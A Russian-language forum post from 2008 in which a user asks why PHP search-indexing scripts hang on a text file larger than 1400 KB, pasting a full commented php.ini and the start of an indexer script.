Скорая Компьютерная Помощь г. Калуга

Полный спектр компьютерных услуг!

Здравствуйте, гость ( Вход | Регистрация )

> Внимание!

  • Вся информация, расположенная в данном и других разделах форума получена из открытых источников (интернет-ресурсы, средства массовой информации, печатные издания и т.п.) и/или добавлена самими пользователями. Администрация форума предоставляет его участникам площадку для общения / размещения файлов / статей и т.п. и не несет ответственности за содержание сообщений, а также за возможное нарушение авторских, смежных и каких-либо иных прав, которое может повлечь за собой информация, содержащаяся в сообщениях.
Ремонт компьютеров в калуге Рекламное место сдается
 
Ответить в эту темуОткрыть новую тему
Lexus
сообщение 16.5.2008, 1:45
Сообщение #1


Newbie
*

Группа: Пользователи
Сообщений: 20
Регистрация: 23.10.2007
Пользователь №: 13



У меня есть файл размером 5 мегабайт с IP адресами и никами в формате:

10.152.64.16;maksimus;10.152.196.50;2008-04-10 20:32

Я скачал скрипт поиска и вывода текстовых строк из файла, смысл простой, скрипт его индексирует и создает свой некий файл БД для ускорения поиска.
Так вот, пробывал я разные скрипты, и ни один не хочет индексировать этот файл если его размер превышает 1400 килобайт, 1401 уже просто тупо зависает в бесконечном цикле, в ридми к скрипту написано
------------------
Скрипт обрабатывает сайты объемом порядка до 10Mb +-3Mb ( в зависимости от вложенности папок и сложности структуры страниц). Это ограничение связано не с самим скриптом, а со стандартными настройками php-интерпретатора на большинстве серверов.
-----------------------------------
Получается что у меня еще хуже ? я так и не понял почему именно 1400 килобайт ???
в php ini уже все перерыл, и память на динамическое выделенение процессу увеличил, и время выполнения - ни чего не помогает !
________________________________________________________________

Мой файл конфигурации php

[PHP]

; Разрешает работу PHP для сервера Apache:

engine = On

; Включение режима совместимости с Zend Engine 1 (PHP 4.X)
zend.ze1_compatibility_mode = Off

; Разрешает использовать короткие тэги <?. Иначе будут распознаваться
; только тэги <?php и <script>:

short_open_tag = On

; Позволяет использовать ASP тэги <% %>:

asp_tags = Off

; Число значащих цифр после запятой, которые отображаются для чисел с
; плавающей точкой (float):

precision = 14

; Признак коррекции дат (проблема 2000 года, которая может
; вызвать непонимание со стороны браузеров, которые
; на это не расчитывают):

y2k_compliance = On

; Использование буферизации вывода. Позволяет посылать заголовки (включая
; Cookies) после вывода текста. Правда, это происходит ценой
; незначительного замедления вывода.
; Вы можете разрешить буферизацию во время выполнения сценария путем
; вызова функций буферизации, или же включить ее по умолчанию с помощью
; следующей директивы:

output_buffering = 4096

; Директива неявной отсылки говорит PHP о том, что выводимые данные нужно
; автоматически передавать браузеру после вывода каждого блока данных.
; Ее действие эквивалентно вызовам функции flush() после
; каждого использования print() или echo() и после каждого HTML-блока.
; Включение этой директивы серьезно замедляет работу, поэтому ее
; рекомендуется применять лишь в отладочных целях.

implicit_flush = Off

; Вы можете перенаправлять весь вывод ваших скриптов функции.
; Например, вы можете установить output_handler в "mb_output_handler",
; кодировки будут соответствующим образом преобразованы в другие кодировки.
; Параметр автоматически включает буфферизацию вывода:

; Внимание: Вы не можете использовать совместно "mb_output_handler"с "ob_iconv_handler"
; и"ob_gzhandler" с "zlib.output_compression".

;output_handler =

; Компрессия вывода осуществляется библиотекой zlib.
; Значения для этой опции могут быть 'off', 'on', или определенным буферным размером,
; который используется для сжатия (значение по умолчанию - 4 КБ)

; Внимание: Результирующий размер размер кусков может изменяться,
; в зависимости от характера сжатия. PHP выводит куски, которые являются немногими сотнями
; байт каждый в результате сжатия. Если Вы предпочитаете больший размер
; куска для лучшей работы, включите дополнительно output_buffering.

; Внимание: Вы должны использовать zlib.output_handler вместо стандартного
; output_handler, или иначе вывод будет разрушен

zlib.output_compression = Off

; Вы не можете определить дополнительные обработчики вывода,
; если zlib.output_compression включен здесь. Эта установка делает то же самое,
; что и output_handler, но в различном порядке.

;zlib.output_handler =

; Функция обратного вызова десериализации:

unserialize_callback_func=

; параметр определяет точность сериализации чисел с плавающей точкой:

serialize_precision = 100

; Параметр определяет, должен ли PHP использовать возможность всегда
; передавать аргументы функциям по ссылке при выполнении сценария.
; Этот метод устарел, и, скорее всего, он не будет
; поддерживаться в будущих версиях PHP/Zend.
; Описание того, каким способом должен быть передан аргумент —
; по ссылке или по значению — рекомендуется указывать при объявлении
; функции. Лучше всего, если вы попробуете установить параметр в Off
; и проверите, все ли сценарии по-прежнему работают. Если это так,
; то все в порядке, и сценарии будут совместимы и с будущими версиями
; PHP. В противном случае вы будете получать предупреждения каждый раз,
; когда аргументы передаются ненадлежащим образом и по значению там,
; где должны передаваться по ссылке:

allow_call_time_pass_reference = On

; Безопасный режим
;

; Включение (on) и выключение безопасного режима (off):

safe_mode = Off

; В безопасном режиме может осуществляться сравнение UID при открытии файлов.
; Вы можете либо включить эту опцию (on), либо выключить ее:

safe_mode_gid = Off

; Когда режим safe_mode включен, проверки UID/GID могут обходиться,
; когда включаются (include) файлы этого каталога и его подкаталогов.
; каталог должен также быть в include_path, или полный путь должен использоваться,
; когда осуществляется включение (including):

safe_mode_include_dir =

; Когда safe_mode включен, только пути, указанные в safe_mode_exec_dir
; будут использоваться семейством функций исполнения:

safe_mode_exec_dir =

; Установка некоторых переменных окружения может потенциально породить
; "дыры" в защите сценариев. Следующая директива содержит разделенный
; запятыми список префиксов. В режиме включенного безопасного режима
; пользователь сможет изменять только те переменные окружения, имена
; которых начинаются с перечисленных префиксов.
; По умолчанию пользователь имеет возможность устанавливать только
; переменные окружения, начинающиеся с PHP_ (например,
; PHP_FOO=something).
; Замечание: если эта директива пуста, PHP позволяет пользователям
; модифицировать любые переменные окружения! :

safe_mode_allowed_env_vars = PHP_

; Следующая директива содержит разделенный запятыми список имен
; переменных окружения, которые конечный пользователь не сможет изменять
; путем вызова putenv().
; Эти переменные будут защищены даже в том случае, если директива
; разрешает их использовать:

safe_mode_protected_env_vars = LD_LIBRARY_PATH

; open_basedir, если она установлена, ограничивает все операции файла
; определенной директорией и ниже. Эта директива имеет смысл,
; если используется файл virtualhost конфигурации сервера сети.
; Эта директива работает вне зависимости, установлен режим Safe Mode, или нет:

;open_basedir =

; Эта директива позволяет вам запрещать вызовы некоторых функций
; из соображений безопасности. Список задается в виде имен функций,
; разграниченных запятыми. Директива действует независимо от того,
; установлен ли безопасный режим или нет:

disable_functions =

; Эта директива позволяет Вам отключать некоторые классы из соображений безопасности.
; Если вам это необходимо, укажите список с разделителями-запятыми имен классов.
; Директива действует независимо от того, установлен ли безопасный режим или нет:

disable_classes =

; Цвета для режима раскраски синтаксиса. Любой цвет, допустимый в тэге
; <font color=???>, допустим и здесь:

;highlight.string = #DD0000
;highlight.comment = #FF9900
;highlight.keyword = #007700
;highlight.bg = #E6F3F9
;highlight.default = #0000BB
;highlight.html = #000000

;
; Другие директивы
;
; Следующая директива указывает, должен ли PHP добавлять заголовок
; X-Powered-by в заголовки, посылаемые браузеру, и, таким образом,
; обнаруживать себя. Это никак не может повлиять на безопасность
; сценария, однако позволяет пользователю определить, использовался
; ли PHP для генерации страницы, или нет:

expose_php = On


;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Ограничения ресурсов ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;

; Максимальное возможное время выполнения сценария в секундах. Если
; сценарий будет выполняться дольше, PHP принудительно завершит его.

max_execution_time = 300

; Максимальное время, которое каждый сценарий может тратить на
; синтаксический разбор данных запроса:

max_input_time = 120

; Максимальный объем памяти, выделяемый сценарию (по умолчанию = 8MB):

memory_limit = 18M

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Обработка ошибок и подключений ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; Директива error_reporting должна задаваться в виде битового
; поля. Его значение можно устанавливать с помощью следующих констант,
; объединенных оператором | (OR):
; E_ALL - Все предупреждения и ошибки, кроме E_STRICT
; E_ERROR - Критические ошибки времени выполнения.
; E_WARNING - Предупреждения времени выполнения.
; E_PARSE - Ошибки трансляции.
; E_NOTICE - Замечания времени выполнения (это такие
; предупреждения, которые, скорее всего,
; свидетельствуют о логических ошибках в
; сценарии, — например, использовании
; неинициализированной переменной).
; E_STRICT - Заменчания времени выполения, которые
; позволяют PHP предлагать Вам советы
; относительно написания более функционально-
; совместимого кода и совместимости с
; различными версиями PHP
; E_CORE_ERROR - Критические ошибки в момент старта PHP.
; E_CORE_WARNING - Некритические предупреждения во время старта PHP.
; E_COMPILE_ERROR - Критические ошибки времени трансляции.
; E_COMPILE_WARNING - Предупреждения времени трансляции.
; E_USER_ERROR - Сгенерированные пользователем ошибки.
; E_USER_WARNING - Сгенерированные пользователем предупреждения.
; E_USER_NOTICE - Сгенерированные пользователем замечания.
; Пример:
; показывать все ошибки, за исключением замечаний
; error_reporting = E_ALL & ~E_NOTICE
; показывать только сообщения об ошибках:

; error_reporting=E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR

; отображать все ошибки, предупреждения и замечания:

error_reporting = E_ALL

; Печать ошибок и предупреждений прямо в браузер.
; Для готовых сайтов рекомендуется отключать следующую директиву и
; использовать вместо нее журнализацию (см. ниже). Включенная директива
; display_errors в "рабочих" сайтах может открыть доступ пользователю к
; секретной информации: например, полному пути к документу, используемой
; базе данных и.т.д.:

display_errors = Off

; Даже если display_errors включена, ошибки, возникающие во время старта
; PHP, не отображаются. Рекомендуется устанавливать следующую директиву
; в выключенное состояние, за исключением случая, когда вы применяете
; ее при отладке:

display_startup_errors = On

; Сохранять ли сообщения об ошибках в файле журнала. Журнал может
; определяться настройками сервера, быть связанным с потоком stderr
; или же задаваться директивой error_log, описанной ниже. Как уже было
; сказано, в коммерческих проектах желательно использовать именно
; журнализацию, а не отображать ошибки в браузер:

log_errors=Off

; Сохранять ли последнее сообщение об ошибке или предупреждение в
; переменной $php_errormsg:

track_errors = On

; Максимальная длина log_errors. Информация об исходном коде error_log будет добавлена
; По умолчанию 1024 и 0 позволяет не применять любую максимальную длину вообще.

log_errors_max_len = 1024

; Не протоколировать повторяющиеся сообщения об ошибках:

ignore_repeated_errors = Off

; Игнорировать исходный код, когда игнорируется протоколирование повторных ошибок (см. выше):

ignore_repeated_source = Off

; Если этот параметр установлен в 'off', то утечки памяти не будут показаны
; (на stdout или в файле регистрации). Это имеет эффект только на этапе отладки, компиляции,
; и если параметр уровня E_WARNING включен (см. выше):

report_memleaks = On

; Включение HTML-тегов в сообщения об ошибках:

html_errors = On

; Если html_errors установлен в 'On', то PHP, выводит clickable-сообщения об ошибках,
; которые направляют пользователя к веб-странице, подробно описывающей ошибку или функцию,
; которая вызвала ошибку.
; Вы можете загрузить копию руководства PHP с http://www.php.su/download/ и изменить
; docref_root на основной URL вашей местной копии, включая '/'.
; Вы должны также определить используемое расширение файла, включая точку:

docref_root = "http://www.php.su/functions/?"
;docref_ext = .html

; Строка, которая будет отображена до сообщения об ошибке:

;error_prepend_string = "<font color=ff0000>"

; Строка, которая будет отображена после сообщения об ошибке:

;error_append_string = "</font>"

; Протоколирование ошибок в указанный файл:

;error_log = filename

; Протоколирование ошибок в системный лог (Протокол событий NT):

;error_log = syslog

;;;;;;;;;;;;;;;;;;;;;
; Обработка данных ;;
;;;;;;;;;;;;;;;;;;;;;

; Разделитель, который используется в PHP для разделения аргументов.
; По умолчанию '&':

;arg_separator.output = "&"

; Список разделителей, используемый PHP для разбора URL внутри переменных
; По умолчанию '&':

; Внимание: Каждый символ в этой директиве рассматривается как разделитель!

;arg_separator.input = ";&"

; Замечание: track_vars всегда включена, начиная с PHP 4.0.3.
; Следующая директива определяет, в каком порядке PHP будет
; регистрировать данные, полученные методами GET, POST, а также
; переменные окружения и встроенные переменные (соответственно, значение
; задается буквами G, P, C, E и S, например, EGPCS или GPC). Регистрация
; производится на основе чтения этой строки слева направо, новые значения
; переопределяют старые:

variables_order = "EGPCS"

; Должен ли PHP регистрировать EGPCS-переменные как глобальные
; переменные. Возможно, вы захотите отключить эту возможность, если не
; хотите "засорять" глобальную область видимости сценария. Это имеет
; смысл, если вы используете директиву track_vars — в этом случае вы
; можете получить доступ к GPC-данным через массив $HTTP_???_VARS.
; Желательно так писать сценарии, чтобы они по возможности
; старались обходиться без директивы register_globals. Использование
; данных, поступивших из формы, как глобальных переменных, потенциально
; может породить проблемы в защите сценария, если программист не особенно
; позаботится об их устранении:

register_globals = On

; Следующая директива указывает PHP, обязан ли он создавать переменные
; $argv и $argc на основе информации, поступившей методом GET. Если вы не
; используете эти переменные, отключите директиву register_argc_argv для
; небольшого убыстрения работы PHP:

register_argc_argv = Off

; Максимальный размер данных POST, который PHP сможет принять:

post_max_size = 25M

; Следующая директива устарела — используйте variables_order.

gpc_order = "GPC"

; Автоматическая обработка кавычек и апострофов:

; использовать ли автокавычки для входящих GET/POST/Cookie данных:

magic_quotes_gpc = Off

; Заключать ли данные в автокавычки во время выполнения, например,
; для данных из SQL, exec() и.т.д.:

magic_quotes_runtime = Off

; Нужно ли PHP оформлять автокавычки в стиле Sybase-style (заменять '
; на '', а не на \'):

magic_quotes_sybase = Off

; Следующие директивы указывают PHP, содержимое каких файлов он должен
; обрабатывать до и после вывода сценария:

auto_prepend_file =
auto_append_file =

; Начиная с версии 4.0b4, PHP всегда сообщает браузеру об используемой
; кодировке в заголовке Content-type. Для того чтобы запретить это,
; просто установите следующую директиву пустой. По умолчанию
; используется text/html без указания кодировки:

default_mimetype = "text/html"
;default_charset = "iso-8859-1"

; Всегда заполнять переменную $HTTP_RAW_POST_DATA:

;always_populate_raw_post_data = On


;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; Пути и директории ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;

; UNIX: "/path1:/path2"
;include_path = ".:/php/includes"

; Windows: "\path1;\path2"
;include_path = ".;c:\php\includes"

include_path = ".;/usr/local/PHP/PEAR;/usr/local/PHP/PEAR/smarty"

; Корневой каталог для PHP-сценариев.
; Игнорируется, если значение равно пустому "":

doc_root =

; Каталог, который PHP использует при открытии сценария вида
; /~username. Не оказывает действия, если значение равно "":

user_dir =

; Каталог, в котором хранятся динамически загружаемые расширения PHP (PECL):

extension_dir = "/usr/local/PHP/PECL"

; Следующая директива разрешает или запрещает использование функции dl().
; Функция dl() работает неправильно в многопоточных Web-серверах,
; например, в IIS или Zeus, и автоматически отключается для них:

enable_dl = On

; Некотрые опции PHP, работающего как CGI (они не влияют на работу Apache + PHP SAPI):

cgi.force_redirect = 0

;;;;;;;;;;;;;;;;;;;;
;; Закачка файлов ;;
;;;;;;;;;;;;;;;;;;;;

; Разрешает PHP обрабатывать закачку файлов:

file_uploads = On

; Каталог для временных файлов, в который PHP помещает закачанные
; файлы (используется системный временный каталог, если в директиве
; указана пустая строка):

upload_tmp_dir =

; Максимальный размер закачанного файла:

upload_max_filesize = 100M


;;;;;;;;;;;;;;;;;;;;;;
;; Оформления Fopen ;;
;;;;;;;;;;;;;;;;;;;;;;

; Позволять ли обработку URL функцией fopen (таких, как http:// и ftp://) как файлов:

allow_url_fopen = On

; Устанавливает анонимный пароль для ftp (ваш email адрес):

;from = "localhost@localhost"

; Устанавливает строку User-Agent:

user_agent = "TopServer PHP"

; Устанавливает таймаут для сокетов, базирующихся на потоках (в секундах):

default_socket_timeout = 10

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Динамически загружаемые расширения ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; Если вы хотите, чтобы какие-то модули загружались автоматически,
; задавайте директиву extension в формате:
; extension=modulename.extension
; Например, для Windows:
; extension=msql.dll
; или для UNIX:
; extension=msql.so
; Должно быть указано только имя, без пути. Чтобы задать
; каталог, в котором расположены расширения, используйте директиву
; extension_dir, описанную выше.
; Модули для Windows

extension=php_bz2.dll
;extension=php_cpdf.dll
;extension=php_crack.dll
;extension=php_curl.dll
;extension=php_db.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_dbx.dll
;extension=php_domxml.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
extension=php_gd2.dll
extension=php_gmp.dll
;extension=php_gettext.dll
;extension=php_hyperwave.dll
;extension=php_iconv.dll
;extension=php_ifx.dll
;extension=php_iisfunc.dll
;extension=php_imap.dll
;extension=php_interbase.dll
;extension=php_java.dll
;extension=php_ldap.dll
;extension=php_mbstring.dll
;extension=php_mcrypt.dll
;extension=php_mhash.dll
;extension=php_mime_magic.dll
;extension=php_ming.dll
;extension=php_mssql.dll
;extension=php_msql.dll
extension=php_mysql.dll
extension=php_mysqli.dll
;extension=php_oci8.dll
;extension=php_openssl.dll
;extension=php_oracle.dll
;extension=php_pdf.dll
extension=php_pdo.dll
;extension=php_pgsql.dll
;extension=php_printer.dll
;extension=php_shmop.dll
;extension=php_snmp.dll
extension=php_sockets.dll
extension=php_sqlite.dll
;extension=php_sybase_ct.dll
;extension=php_tidy.dll
;extension=php_w32api.dll
;extension=php_xmlrpc.dll
extension=php_xsl.dll
;extension=php_xmlrpc.dll
;extension=php_yaz.dll
;extension=php_zip.dll

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; Установки для модулей ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

[Syslog]

; Нужно или нет определять различные переменные Syslog, такие как
; $LOG_PID, $LOG_CRON и т. д. Для ускорения работы рекомендуется
; выключать следующую директиву. Во время выполнения сценария вы
; можете включить или выключить директиву путем вызова
; функции define_syslog_variables().

define_syslog_variables = Off

[mail function]

; Только для Win32 - используемый SMTP-сервер.
; Укажите здесь SMTP-сервер своего провайдера.
;SMTP = localhost
;smtp_port = 25
;sendmail_from = topserver@localhost

; Только для Win32 — поле From: по умолчанию:

; Только для UNIX — задает путь и аргументы программы sendmail (по
; умолчанию — 'sendmail -t -i').

sendmail_path = \usr\local\sendmail\sendmail -t -i
; ВНИМАНИЕ: если Вы хотите все же использовать SMTP-сервер,
; раскомментируйте директиву SMTP (см. выше), а эту - уберите.
; Если ее не убрать, все равно будет вызываться sendmail.

;sendmail_from = me@me.com

[Java]
;java.class.path = .\php_java.jar
;java.home = c:\jdk
;java.library = c:\jdk\jre\bin\hotspot\jvm.dll
;java.library.path = .\

[SQL]
sql.safe_mode = Off

[ODBC]
;odbc.default_db = Not implemented
;odbc.default_user = Not implemented
;odbc.default_pw = Not implemented

; Позволить, или нет устойчивые соединения:

odbc.allow_persistent = On

; Проверяет, действительно ли еще соединение, или нет при повтовном подключении:

odbc.check_persistent = On

; Максимальное колличество устойчивых соединений (-1 = без ограничений):

odbc.max_persistent = -1

; Максимальное колличество соединений (устойчивых + неустойчивых), (-1 = без ограничений):

odbc.max_links = -1

; Обработка полей LONG. Возвращает число байт в переменную. (0 подразумевает passthru):

odbc.defaultlrl = 4096

; Обработка двоичных данных. 0 подразумевает passthru, 1 возвращает как есть, 2 конвертирует в символ:

odbc.defaultbinmode = 1

[MySQL]
; Позволить, или нет устойчивые соединения:

mysql.allow_persistent = On

; Максимальное колличество устойчивых соединений (-1 = без ограничений):

mysql.max_persistent = -1

; Максимальное колличество соединений (устойчивых + неустойчивых), (-1 = без ограничений):

mysql.max_links = -1

; Номер порта по умолчанию для mysql_connect(). Если не установлена,
; mysql_connect() будет использовать $MYSQL_TCP_PORT или mysql-tcp вхождения
; /etc/services или
; определенное во время компиляции значение MYSQL_PORT (в таком порядке).
; Win32 использует для этой цели только MYSQL_PORT:

mysql.default_port =

; Определяет имя сокета для локальных соединений MySQL. Если он не задан,
; использует встроенное значение по умолчанию:

mysql.default_socket =

; Хост по умолчанию для mysql_connect() (не работает в безопасном режиме):

mysql.default_host =

; Пользователь по умолчанию для mysql_connect() (не работает в безопасном режиме):

mysql.default_user =

; Пароль по умолчанию (не работает в безопасном режиме).
; Замечание: идея хранить пароль в этом файле просто отвратительна. Любой
; пользователь, который может запускать PHP, сможет узнать пароль путем
; выполнения:
; echo cfg_get_var("mysql.default_password")
; Конечно, узнать пароль сможет также и пользователь, который имеет права
; на чтение для файла php.ini:

mysql.default_password =

; Максимальное время (в секундах) для таймаута соединений с MySQL (-1 means = без ограничений):

mysql.connect_timeout = 60

; Режим трассировки. Когда trace_mode активен (=On),
;предупреждения для просмотров table/index и SQL-Erros будут отображены:

mysql.trace_mode = Off

[mSQL]

msql.allow_persistent = On

msql.max_persistent = -1

msql.max_links = -1

[PostgresSQL]

pgsql.allow_persistent = On

; Определять прерванные устойчивые соединения всегда с pg_pconnect():
pgsql.auto_reset_persistent = Off

pgsql.max_persistent = -1

pgsql.max_links = -1

; Игнорировать бэкендовые сообщения PostgreSQL:

pgsql.ignore_notice = 0

; Протоколирование бэкендовых сообщений PostgreSQL:
; Пока pgsql.ignore_notice=0, модуль не может регистрировать сообщения:

pgsql.log_notice = 0

[Sybase]

sybase.allow_persistent = On

sybase.max_persistent = -1

sybase.max_links = -1

;sybase.interface_file = "/usr/sybase/interfaces"

; Минимальная серьезность ошибки, чтобы ее отобразить:

sybase.min_error_severity = 10

; Минимальная серьезность сообщения, чтобы его отобразить:

sybase.min_message_severity = 10

; Режим совместимости со старыми версиями PHP 3.0.
; Если следующая директива установлена в On, PHP будет автоматически
; присваивать тип результату на основе его типа в Sybase, вместо того,
; чтобы преобразовывать полученные значения в строки. Этот режим
; совместимости, возможно, в будущем не будет поддерживаться, так что
; лучше исправьте свои сценарии, если вам он нужен:

sybase.compatability_mode = Off

[Sybase-CT]

sybct.allow_persistent = On

sybct.max_persistent = -1

sybct.max_links = -1

; Минимальная серьезность ошибки сервера, чтобы ее отобразить:

sybct.min_server_severity = 10

; Минимальная серьезность ошибки клиента, чтобы ее отобразить:

sybct.min_client_severity = 10

[dbx]

dbx.colnames_case = "unchanged"

[bcmath]

; Число десятичных цифр для всех bcmath-функций:

bcmath.scale = 0

[browscap]

browscap = /usr/local/PHP/php_browscap.ini

[Informix]
; Хост по умолчанию для ifx_connect() (недоступен в режиме safe mode):

ifx.default_host =

; Пользователь по умолчанию для ifx_connect() (недоступен в режиме safe mode):

ifx.default_user =

; Пароль по умолчанию для ifx_connect() (недоступен в режиме safe mode):

ifx.default_password =

ifx.allow_persistent = On

ifx.max_persistent = -1

ifx.max_links = -1

; Если следующая директива установлена в On, выражение select возвращает
; содержимое поля типа text blob вместо его идентификатора:

ifx.textasvarchar = 0

; Заставляет команду select возвращать значение поля типа byte blob
; вместо его идентификатора:

ifx.byteasvarchar = 0

; Принуждает PHP удалять завершающие пробелы из колонок с типом char
; фиксированного размера. Может помочь пользователям Informix SE:

ifx.charasvarchar = 0

; Если установлена, содержимое полей text и byte сохраняется в файле,
; вместо того, чтобы храниться в памяти:

ifx.blobinfile = 0

; Если установлена в 0, значения NULL возвращаются как пустые строки,
; иначе они возвращаются как строки 'NULL':

ifx.nullformat = 0

[Session]

; Определяет режим хранения данных сессий:

session.save_handler = files

; Следующая директива задает аргумент, передаваемый save_handler-у.
; В случае режима сохранения в файлах здесь должен указываться каталог,
; в который будут помещены файлы сессий:

session.save_path = /usr/local/PHP/sessions

; Должен ли PHP использовать Cookies в сессиях:

session.use_cookies = 1

; This option enables administrators to make their users invulnerable to
; attacks which involve passing session ids in URLs; defaults to 0.
; session.use_only_cookies = 1

; Имя сессии (используется как имя cookie):

session.name = PHPSESSID

; Инициализировать ли сессии при старте:

session.auto_start = 0

; Lifetime in seconds of cookie or, if 0, until browser is restarted.
session.cookie_lifetime = 0

; Путь для Cookie с идентификатором сессии:

session.cookie_path = /

; Домен для Cookie с идентификатором сессии:

session.cookie_domain =

; Функция, используемая для сериализации данных. Значение php задает
; стандартную функцию:

session.serialize_handler = php

; Вероятность того, что при очередном запуске сценария, работающего с
; сессиями, будет вызвана функция "сборки мусора" для очистки сессий,
; которые пользователь уже покинул:

session.gc_probability = 1
session.gc_divisor = 100

; После указанного здесь промежутка времени сохраненные
; данные будут удалены автоматически сборщиком мусора:

session.gc_maxlifetime = 1440

; Проверять-ли HTTP Referer на предмет того, не является ли ID сессии
; "фальшивыми":

session.referer_check =

; Указывает, сколько байт читать из файла:

session.entropy_length = 0

; Файл, используемый для генерации идентификаторов сессии:

session.entropy_file =

;session.entropy_length = 16

;session.entropy_file = /dev/urandom

; Установите одно из значений nocache, private, public для определения
; аспектов кэширования HTTP:

session.cache_limiter = nocache

; Документ будет считаться устаревшим по истечении заданного
; здесь количества минут:

session.cache_expire = 180

; Использовать ли поддержку "переходящих" SID. Действует, если PHP был
; скомпилирован с включенной опцией --enable-trans-sid:

session.use_trans_sid = 0

url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=,fieldset="

[MSSQL]

mssql.allow_persistent = On

mssql.max_persistent = -1

mssql.max_links = -1

mssql.min_error_severity = 10

mssql.min_message_severity = 10

; Режим совместимости со старыми версиями PHP 3.0:

mssql.compatability_mode = Off

; Таймаут соединения:

;mssql.connect_timeout = 5

; Таймаут запроса:

;mssql.timeout = 60

; Действительный диапазон 0 - 2147483647. По умолчанию = 4096:

;mssql.textlimit = 4096

; Действительный диапазон 0 - 2147483647. По умолчанию = 4096:

;mssql.textsize = 4096

; Ограничивает число записей в каждом пакете. 0 = все записи в одном пакете:

;mssql.batchsize = 0

; Определяет, как datetime и datetim4 столбцы возвращены
; On => Возвращаемые данные преобразованы в параметры настройки сервера SQL
; Off => Возвращает значения как YYYY-MM-DD hh:mm:ss

;mssql.datetimeconvert = On

; Использовать NT-аутентификацию для соединения с сервером:

mssql.secure_connection = Off

; Максимальное число процессов. По умолчанию = 25
;mssql.max_procs = 25

[Assertion]

; Assert(expr); По умолчанию активен
;assert.active = On

; Генерирует предупреждения PHP для каждых неудавшихся проверок
; выражений:

;assert.warning = On

; По умолчанию не завершать программу в случае неудачи:

;assert.bail = Off

; Пользовательская функция, которая будет вызвана при неудаче проверки:

;assert.callback = 0

; Вычислять выражения в eval с использованием текущих установок
; error_reporting. Установите в true, если вы хотите, чтобы действие
; режима error_reporting(0) было сохранено и при переходе через
; границу eval():

;assert.quiet_eval = 0

[Ingres II]

ingres.allow_persistent = On

ingres.max_persistent = -1

ingres.max_links = -1

; База данных по умолчанию (формат: [node_id::]dbname[/srv_class]).

ingres.default_database =

; Пользователь по умолчанию:

ingres.default_user =

; Пароль по умолчанию:

ingres.default_password =

[Verisign Payflow Pro]

; Сервер Payflow Pro по умолчанию:

pfpro.defaulthost = "test-payflow.verisign.com"

; Порт по умолчанию для соединений:

pfpro.defaultport = 443

; Таймаут по умолчанию для соединений:

pfpro.defaulttimeout = 120

; IP-адрес proxy-сервера по умолчанию (если требуется):

;pfpro.proxyaddress =

; Порт proxy-сервера по умолчанию:

;pfpro.proxyport =

; Логин proxy-сервера по умолчанию:

;pfpro.proxylogon =

; Пароль proxy-сервера по умолчанию:

;pfpro.proxypassword =

[Sockets]

; Использовать функцию system read() вместо php_read():
sockets.use_system_read = On

[com]

; Путь к файлу, содержащему GUIDs, IIDs и имена файлов с TypeLibs:
;com.typelib_file =

; Разрешает вызовы Distributed-COM:
;com.allow_dcom = true

; константы авторегистра компонентов typlib в com_load():
;com.autoregister_typelib = true

; константы регистра с учетом регистра:
;com.autoregister_casesensitive = false

; предупреждения показа на дубликате constat registrations:
;com.autoregister_verbose = true

[Printer]
;printer.default_printer = ""

[mbstring]
; язык для внутреннего символьного представления:
;mbstring.language = Japanese

; Кодировка скрипта/внутренняя:
; Некоторые кодировки не могут работать как внутренние кодировки:
; (такие как SJIS, BIG5, ISO-2022-*):
;mbstring.internal_encoding = EUC-JP

; Кодировка INPUT http:
;mbstring.http_input = auto

; Кодировка OUTPUT http. mb_output_handler должен быть
; зарегистрированный как буфер вывода, чтобы функционировать:
;mbstring.http_output = SJIS

; Включить автоматическое преобразование кодировок
; mbstring.internal_encoding setting. Входные символы
; конвертируются во внутреннюю кодировку установкой этого параметра в 'On':
;mbstring.encoding_translation = Off

; автоматическое обнаружение кодировок:
;mbstring.detect_order = auto

; substitute_character используется, когда символ не может быть
; конвертирован один из другого
;mbstring.substitute_character = none;

; перегрузка (замена) отдельных функции байта функциями mbstring.
; mail(), ereg(), и.т.д. перегружаются mb_send_mail(), mb_ereg(),
; и.т.д. Возможные значения 0,1,2,4 или их комбинация.
; Например:
; 0: Нет перегрузки
; 1: Перегружается функция mail();
; 2: Перегружается функция str*();
; 4: Перегружается функция ereg*();
;mbstring.func_overload = 0

[FrontBase]
;fbsql.allow_persistent = On
;fbsql.autocommit = On
;fbsql.default_database =
;fbsql.default_database_password =
;fbsql.default_host =
;fbsql.default_password =
;fbsql.default_user = "_SYSTEM"
;fbsql.generate_warnings = Off
;fbsql.max_connections = 128
;fbsql.max_links = 128
;fbsql.max_persistent = -1
;fbsql.max_results = 128
;fbsql.batchSize = 1000

[Crack]
; Измените установку ниже, чтобы согласовать местоположение файлов словаря cracklib
; Включите основное имя, но не расширение файла.
; crack.default_dictionary = "\usr\local\PHP\lib\cracklib_dict"

[exif]
;exif.encode_unicode = ISO-8859-15
;exif.decode_unicode_motorola = UCS-2BE
;exif.decode_unicode_intel = UCS-2LE
;exif.encode_jis =
;exif.decode_jis_motorola = JIS
;exif.decode_jis_intel = JIS

[Zend]
;TopServer 2.0 ZEND OPTIMIZER CONFIG
zend_extension_ts = /usr/local/PHP/ZendOptimizer.dll
zend_optimizer.enable_loader = 0
zend_optimizer.optimization_level = 15

; Local Variables:
; tab-width: 4
; End:
________________________________

Код индексации

############################--- indexer.php ---############################

Код
error_reporting(0);
chdir('..');
require ('phprusearch/sinc/func_list.php');
$microtime = microtime();
$microsecs = substr($microtime, 2, 8);
$secs = substr($microtime, 11);
$start_time = "$secs.$microsecs";
$input = $sizetotal = '';
$CONFIG = file('phprusearch/sinc/sconfig.php');
$STOP_DIR = split(",",$CONFIG[4]);
$STOP_FILE = split(",",$CONFIG[5]);
$HOME_DIR = getcwd();
